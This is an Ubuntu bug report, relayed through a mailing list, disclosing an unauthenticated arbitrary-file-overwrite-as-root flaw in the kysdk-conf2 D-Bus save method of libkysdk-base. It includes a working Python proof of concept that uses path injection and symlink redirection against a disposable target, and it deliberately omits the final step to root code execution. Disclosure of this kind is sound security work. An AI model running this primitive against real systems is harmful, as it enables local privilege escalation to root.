Public bug reported:

Summary
=======

The system-wide kysdk-conf2 D-Bus service runs as root, and its D-Bus policy 
allows
any local user to invoke com.kylin.kysdk.conf2 methods. The save(user, path) 
method
does not authenticate or authorize its caller before exporting a configuration
database to YAML files as root.

The following weaknesses can be combined:

1. The D-Bus policy allows unprivileged local callers, while save() ignores its
   sender argument and performs no authorization check.
2. The caller-controlled user string is concatenated into
   /home/{user}/.config/kylin-config/user.db. A value containing a slash 
therefore
   lets an attacker make the root service read a database prepared in an 
arbitrary
   attacker-controlled subdirectory.
3. The destination check uses string prefixes such as startswith('/home') 
without
   canonicalizing the path. Parent-directory components can bypass the intended
   directory restriction.
4. Output names are derived from attacker-controlled database keys, and files 
are
   opened with open(..., 'w'). The open follows a pre-existing symbolic link, so
   an attacker can redirect the root write to a caller-selected file despite the
   forced .yaml suffix.
5. The attacker controls YAML values written by the service, providing 
sufficient
   content control to turn the arbitrary root file overwrite into code 
execution.

The original reproduction confirmed that a local uid 1000 user with no sudo or
root credentials could use this chain to obtain euid 0. The weaponized final 
stage
is not included in this public report.

Test environment
================

* Ubuntu Kylin based on Ubuntu 26.04, UKUI desktop
* libkysdk-base 3.0.1.2-0ubuntu1
* amd64 virtual machine, 4 vCPUs and 4 GiB RAM
* Linux kernel 7.0.0
* Unprivileged user test, uid 1000, with no sudo or root credentials
* Distribution-provided python3 and python3-dbus

Steps to reproduce safely
=========================

Use only a disposable test file. First, an administrator creates a root-owned 
file
that is safe to overwrite:

    sudo sh -c 'printf "original test content\n" > 
/var/tmp/kysdk-conf2-root-target'
    sudo chown root:root /var/tmp/kysdk-conf2-root-target
    sudo chmod 0644 /var/tmp/kysdk-conf2-root-target

As the unprivileged test user, confirm that a direct write fails:

    printf 'unprivileged write\n' > /var/tmp/kysdk-conf2-root-target
    # Expected from the shell: Permission denied

Still as the unprivileged test user, run this non-destructive reproducer. It 
writes
only to the disposable target created above:

    python3 - <<'PY'
    import os
    import shutil
    import sqlite3

    import dbus

    username = os.environ["USER"]
    base = f"/home/{username}/kysdk-conf2-proof"
    dbdir = f"{base}/.config/kylin-config"
    target = "/var/tmp/kysdk-conf2-root-target"

    shutil.rmtree(base, ignore_errors=True)
    os.makedirs(dbdir)

    connection = sqlite3.connect(f"{dbdir}/user.db")
    cursor = connection.cursor()
    cursor.execute("CREATE TABLE app(id INTEGER, app_name TEXT, default_version 
TEXT)")
    cursor.execute("CREATE TABLE version(id INTEGER, app_id INTEGER, version 
TEXT, compatible TEXT)")
    cursor.execute(
        "CREATE TABLE configures("
        "id INTEGER, version_id INTEGER, node_name TEXT, node_type TEXT, "
        "permission TEXT, description TEXT, summary TEXT, parent INTEGER, "
        "value_type TEXT, custom_value TEXT, default_value TEXT, range TEXT, "
        "extends TEXT)"
    )
    cursor.execute("INSERT INTO app VALUES (1, 'proof', NULL)")
    cursor.execute("INSERT INTO version VALUES (1, 1, '1.0', NULL)")
    cursor.execute(
        "INSERT INTO configures VALUES "
        "(1, 1, 'value', 'key', NULL, NULL, NULL, 0, NULL, ?, NULL, NULL, 
NULL)",
        ("SAFE_TEST_VALUE",),
    )
    connection.commit()
    connection.close()

    os.symlink(target, f"{base}/proof.yaml")

    bus = dbus.SystemBus()
    obj = bus.get_object(
        "com.kylin.kysdk.conf2",
        "/com/kylin/kysdk/conf2",
        introspect=False,
    )
    conf2 = dbus.Interface(obj, "com.kylin.kysdk.conf2")
    print(conf2.save(f"{username}/kysdk-conf2-proof", base))
    PY

Inspect the disposable root-owned target:

    ls -l /var/tmp/kysdk-conf2-root-target
    cat /var/tmp/kysdk-conf2-root-target

Clean up after collecting the output:

    rm -rf "$HOME/kysdk-conf2-proof"
    sudo rm -f /var/tmp/kysdk-conf2-root-target

Actual result
=============

The save() call succeeds. The root-owned target retains root ownership but its
contents are replaced with YAML generated from the unprivileged user's database.
The same user cannot write to that target directly.

This proves that an unprivileged local caller can make the root service 
overwrite
a caller-selected file with attacker-influenced content. The original full proof
of concept used a security-sensitive system file to turn this primitive into 
root
code execution; those details are intentionally omitted here.

Expected result
===============

The service must reject an unauthorized caller. A caller must not be able to 
select
another user's configuration database, escape the permitted export directory, or
redirect a privileged write through a symbolic link.

** Affects: libkysdk-base (Ubuntu)
     Importance: Undecided
         Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Bugs, which is subscribed to Ubuntu.
https://bugs.launchpad.net/bugs/2160487

Title:
  kysdk-conf2 D-Bus save method allows unauthenticated arbitrary file
  overwrite as root

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libkysdk-base/+bug/2160487/+subscriptions


-- 
ubuntu-bugs mailing list
[email protected]
https://lists.ubuntu.com/mailman/listinfo/ubuntu-bugs

Reply via email to